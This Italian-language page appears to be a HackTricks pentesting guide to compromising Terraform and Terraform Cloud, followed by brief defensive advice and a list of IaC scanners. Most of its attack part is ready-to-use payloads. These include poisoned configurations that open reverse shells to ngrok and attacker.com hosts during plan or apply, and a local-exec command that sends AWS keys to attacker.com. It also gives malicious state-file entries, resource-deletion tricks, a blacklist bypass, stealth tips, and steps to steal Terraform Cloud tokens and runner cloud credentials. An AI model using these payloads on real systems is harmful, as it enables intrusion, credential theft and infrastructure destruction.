Sicurezza di Terraform

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

From the docs:

HashiCorp Terraform è uno strumento infrastructure as code che permette di definire sia risorse cloud che on-prem in file di configurazione leggibili dall’uomo che puoi versionare, riusare e condividere. Puoi quindi usare un flusso di lavoro coerente per provisioning e gestione di tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come compute, storage e networking, così come componenti ad alto livello come voci DNS e feature SaaS.

Come funziona Terraform?

Terraform crea e gestisce risorse su piattaforme cloud e altri servizi tramite le loro application programming interfaces (APIs). I provider permettono a Terraform di interagire con virtualmente qualsiasi piattaforma o servizio con un’API accessibile.

HashiCorp e la community di Terraform hanno già scritto più di 1700 provider per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider pubblici su Terraform Registry, inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, e molti altri.

Il workflow principale di Terraform consiste di tre fasi:

  • Write: Definisci le risorse, che possono essere distribuite su più cloud provider e servizi. Per esempio, potresti creare una configurazione per distribuire un’applicazione su macchine virtuali in una Virtual Private Cloud (VPC) con gruppi di sicurezza e un load balancer.
  • Plan: Terraform crea un piano di esecuzione che descrive l’infrastruttura che creerà, aggiornerà o distruggerà basandosi sull’infrastruttura esistente e sulla tua configurazione.
  • Apply: Dopo l’approvazione, Terraform esegue le operazioni proposte nell’ordine corretto, rispettando le dipendenze delle risorse. Per esempio, se aggiorni le proprietà di una VPC e cambi il numero di macchine virtuali in quella VPC, Terraform ricreerà la VPC prima di scalare le macchine virtuali.

Laboratorio Terraform

Basta installare terraform sul tuo computer.

Here you have a guide and here you have the best way to download terraform.

RCE in Terraform: avvelenamento dei file di configurazione

Terraform non espone una piattaforma con una pagina web o un servizio di rete che possiamo enumerare, quindi l’unico modo per compromettere terraform è poter aggiungere/modificare i file di configurazione di terraform o poter modificare il terraform state file (vedi capitolo sotto).

Tuttavia, terraform è un componente molto sensibile da compromettere perché avrà accesso privilegiato a diverse posizioni per poter funzionare correttamente.

Il modo principale per un attaccante di compromettere il sistema dove terraform è in esecuzione è compromettere il repository che memorizza le configurazioni terraform, perché a un certo punto verranno interpretate.

In effetti, esistono soluzioni che eseguono terraform plan/apply automaticamente dopo la creazione di una PR, come Atlantis:

Atlantis Security

Se riesci a compromettere un file terraform ci sono diversi modi per eseguire RCE quando qualcuno esegue terraform plan o terraform apply.

Terraform plan

Terraform plan è il comando più usato in terraform e sviluppatori/soluzioni che usano terraform lo chiamano continuamente, quindi il modo più semplice per ottenere RCE è assicurarsi di avvelenare un file di configurazione terraform in modo che esegua comandi arbitrari in un terraform plan.

Usare l’external provider

Terraform offre il provider external che fornisce un modo per interfacciare Terraform e programmi esterni. Puoi usare la data source external per eseguire codice arbitrario durante un plan.

Inserire in un file di configurazione terraform qualcosa come il seguente eseguirà una rev shell quando viene eseguito terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Uso di un provider personalizzato

Un attaccante potrebbe pubblicare un custom provider nel Terraform Registry e poi aggiungerlo al codice Terraform in un feature branch (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Il provider viene scaricato in init e eseguirà il codice dannoso quando plan viene eseguito

Puoi trovare un esempio in https://github.com/rung/terraform-provider-cmdexec

Usare un riferimento esterno

Entrambe le opzioni menzionate sono utili ma non molto stealthy (la seconda è più stealthy ma più complessa della prima). Puoi eseguire questo attacco in un modo ancora più stealthy, seguendo questi suggerimenti:

  • Invece di aggiungere la rev shell direttamente nel file terraform, puoi caricare una risorsa esterna che contiene la rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puoi trovare il rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Nella risorsa esterna, usa la feature ref per nascondere il terraform rev shell code in a branch all’interno del repo, qualcosa del tipo: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando a malicious Terraform file with local-exec.
Devi solo assicurarti che qualche payload come i seguenti finisca nel file main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Segui i suggerimenti della tecnica precedente per eseguire questo attacco in modo più stealth sfruttando riferimenti esterni.

Secrets Dumps

Puoi ottenere il dump dei secret values usati da terraform eseguendo terraform apply aggiungendo al file terraform qualcosa del tipo:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abuso dei file di stato di Terraform

Nel caso tu abbia accesso in scrittura ai terraform state files ma non possa modificare il codice terraform, this research offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, usare il vettore dei file di stato è spesso molto più furtivo, poiché non lasci tracce nella history di git.

RCE in Terraform: config file poisoning

È possibile create a custom provider e semplicemente sostituire uno dei provider nel terraform state file con quello malevolo oppure aggiungere una fake resource che fa riferimento al provider malevolo.

Il provider statefile-rce si basa sulla ricerca e arma questo principio. Puoi aggiungere una fake resource e specificare il comando bash arbitrario che vuoi eseguire nell’attributo command. Quando il run di terraform viene avviato, questo verrà letto ed eseguito sia durante i passaggi di terraform plan che di terraform apply. Nel caso di terraform apply, terraform rimuoverà la fake resource dallo state file dopo aver eseguito il tuo comando, ripulendo le tracce. Maggiori informazioni e una demo completa si trovano nel GitHub repository hosting the source code for this provider.

Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione dell’array resources e personalizzare gli attributi name e command:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Quindi, non appena terraform viene eseguito, il tuo codice verrà eseguito.

Eliminazione delle risorse

Ci sono 2 modi per distruggere le risorse:

  1. Inserire una risorsa con un nome casuale nel file di stato che punti alla risorsa reale da distruggere

Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l’ID della risorsa reale indicato). Esempio dalla pagina precedente:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modificare la risorsa in modo che non sia possibile aggiornarla (quindi verrà eliminata e ricreata)

Per un’istanza EC2, modificare il tipo dell’istanza è sufficiente per fare in modo che terraform la cancelli e la ricrei.

Sostituire un provider inserito nella blacklist

Nel caso in cui ti trovi nella situazione in cui hashicorp/external è stato inserito nella blacklist, puoi re-implementare il provider external eseguendo quanto segue. Nota: utilizziamo un fork del provider external pubblicato su https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o una tua re-implementazione.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Quindi puoi usare external come al solito.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.

  • Preconditions:

  • Rubare un Terraform Cloud token da una macchina di uno sviluppatore. Il CLI memorizza i token in chiaro in ~/.terraform.d/credentials.tfrc.json.

  • Il token deve avere accesso all’organizzazione/workspace target e almeno il permesso plan. VCS-backed workspaces bloccano apply dalla CLI, ma consentono comunque speculative plans.

  • Scopri workspace e impostazioni VCS tramite la TFC API:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Avviare l’esecuzione di codice durante un speculative plan utilizzando l’external data source e il blocco “cloud” di Terraform Cloud per prendere di mira il VCS-backed workspace:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Esempio di rsync.sh per ottenere una reverse shell sul TFC runner:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Esegui un piano speculativo per avviare il programma sul runner effimero:

terraform init
terraform plan
  • Enumerare ed esfiltrare credenziali cloud iniettate dal runner. Durante le esecuzioni, TFC inietta le credenziali dei provider tramite file e variabili d’ambiente:
env | grep -i gcp || true
env | grep -i aws || true

File previsti nella directory di lavoro del runner:

  • GCP:

  • tfc-google-application-credentials (config JSON per Workload Identity Federation)

  • tfc-gcp-token (token di accesso GCP a breve durata)

  • AWS:

  • tfc-aws-shared-config (config per assunzione del ruolo web identity/OIDC)

  • tfc-aws-token (token a breve durata; alcune organizzazioni potrebbero usare chiavi statiche)

  • Usa le credenziali a breve durata out-of-band per bypassare i gate VCS:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Con queste credenziali, gli attaccanti possono creare/modificare/distruggere risorse direttamente usando i CLI nativi, aggirando i workflow basati su PR che bloccano apply via VCS.

  • Linee guida difensive:
  • Applicare il principio del minimo privilegio agli utenti/team TFC e ai token. Verificare le membership ed evitare owner sovradimensionati.
  • Restringere la permission plan sui workspaces sensibili collegati a VCS, quando possibile.
  • Applicare allowlist di provider/data source tramite policy Sentinel per bloccare data "external" o provider sconosciuti. See HashiCorp guidance on provider filtering.
  • Preferire OIDC/WIF alle credenziali cloud statiche; considerare i runners come risorse sensibili. Monitorare run speculativi dei plan e egress inatteso.
  • Rilevare l’exfiltrazione di artifact di credenziali tfc-* e allertare su uso sospetto del programma external durante i plan.

Compromettere Terraform Cloud

Usare un token

As explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Stealing this token lets an attacker impersonate the user within the token’s scope.

Usando questo token è possibile ottenere l’org/workspace con:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

È quindi possibile eseguire codice arbitrario usando terraform plan come spiegato nel capitolo precedente.

Evasione verso il cloud

Quindi, se il runner si trova in un ambiente cloud, è possibile ottenere un token del principal associato al runner e usarlo out of band.

  • GCP files (presenti nella working directory dell’esecuzione corrente)

  • tfc-google-application-credentials — JSON config per Workload Identity Federation (WIF) che indica a Google come scambiare l’identità esterna.

  • tfc-gcp-token — token di accesso GCP a breve durata (≈1 ora) referenziato da quanto sopra

  • File AWS

  • tfc-aws-shared-config — JSON per web identity federation / assunzione di ruolo OIDC (preferito rispetto a chiavi statiche).

  • tfc-aws-token — token a breve durata, o potenzialmente chiavi IAM statiche se mal configurate.

Strumenti di audit automatico

Snyk Infrastructure as Code (IaC)

Snyk offre una soluzione di scanning completa per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.

  • Funzionalità:
  • Scansione in tempo reale per vulnerabilità di sicurezza e problemi di compliance.
  • Integrazione con sistemi di controllo di versione (GitHub, GitLab, Bitbucket).
  • Pull request con fix automatici.
  • Consigli dettagliati per la risoluzione.
  • Iscriviti: Crea un account su Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov è uno strumento di static code analysis per infrastructure as code (IaC) e anche uno strumento di software composition analysis (SCA) per immagini e pacchetti open source.

Scansiona l’infrastruttura cloud provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu e rileva misconfigurazioni di security e compliance tramite graph-based scanning.

Esegue Software Composition Analysis (SCA) scanning, ovvero una scansione di pacchetti open source e immagini alla ricerca di Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

Dalla docs: terraform-compliance è un framework di test leggero focalizzato su sicurezza e conformità per terraform, che abilita la capacità di eseguire test negativi per la tua infrastruttura come codice.

  • conformità: Assicura che il codice implementato segua gli standard di sicurezza e i tuoi standard personalizzati
  • sviluppo guidato dal comportamento: Abbiamo BDD per quasi tutto, perché non per IaC?
  • portabile: basta installarlo con pip o eseguirlo tramite docker. Vedi Installation
  • pre-deploy: valida il tuo codice prima che venga distribuito
  • facile da integrare: può essere eseguito nella tua pipeline (o nei git hooks) per assicurare che tutte le distribuzioni siano convalidate.
  • separazione dei compiti: puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile.

Note

Sfortunatamente, se il codice usa provider a cui non hai accesso, non potrai eseguire il terraform plan e utilizzare questo strumento.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec usa l’analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni.

  • ☁️ Controlla la presenza di misconfigurazioni in tutti i principali (e alcuni minori) provider cloud
  • ⛔ Centinaia di regole integrate
  • 🪆 Scansiona moduli (locali e remoti)
  • ➕ Valuta espressioni HCL così come valori letterali
  • ↪️ Valuta le funzioni Terraform e.g. concat()
  • 🔗 Valuta le relazioni tra le risorse Terraform
  • 🧰 Compatibile con il Terraform CDK
  • 🙅 Applica (e arricchisce) policy Rego definite dall’utente
  • 📃 Supporta più formati di output: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ Configurabile (tramite flag CLI e/o file di config)
  • ⚡ Molto veloce, in grado di scansionare rapidamente repository molto grandi
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan è un analizzatore statico di codice per Infrastructure as Code. Terrascan consente di:

  • Scansionare senza interruzioni l’Infrastructure as Code per individuare misconfigurazioni.
  • Monitorare l’infrastruttura cloud provisioned per cambiamenti di configurazione che introducono posture drift e consentire il ripristino a una postura sicura.
  • Rilevare vulnerabilità di sicurezza e violazioni della conformità.
  • Mitigare i rischi prima del provisioning dell’infrastruttura cloud-native.
  • Offre la flessibilità di eseguirlo localmente o integrarlo con il tuo CI\CD.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Individua vulnerabilità di sicurezza, problemi di compliance e misconfigurazioni dell’infrastruttura nelle prime fasi del ciclo di sviluppo della tua infrastructure-as-code con KICS di Checkmarx.

KICS sta per Keeping Infrastructure as Code Secure, è open source ed è uno strumento indispensabile per qualsiasi progetto cloud native.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Dai docs: Terrascan è un analizzatore statico del codice per Infrastructure as Code. Terrascan consente di:

  • Scansionare in modo trasparente l’infrastruttura come codice per individuare misconfigurazioni.
  • Monitorare l’infrastruttura cloud provisioned per cambiamenti di configurazione che introducono posture drift e permettere il ripristino a una postura sicura.
  • Rilevare vulnerabilità di sicurezza e violazioni della compliance.
  • Mitigare i rischi prima del provisioning di infrastrutture cloud native.
  • Offrire flessibilità per l’esecuzione locale o l’integrazione con il tuo CI\CD.
brew install terrascan

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks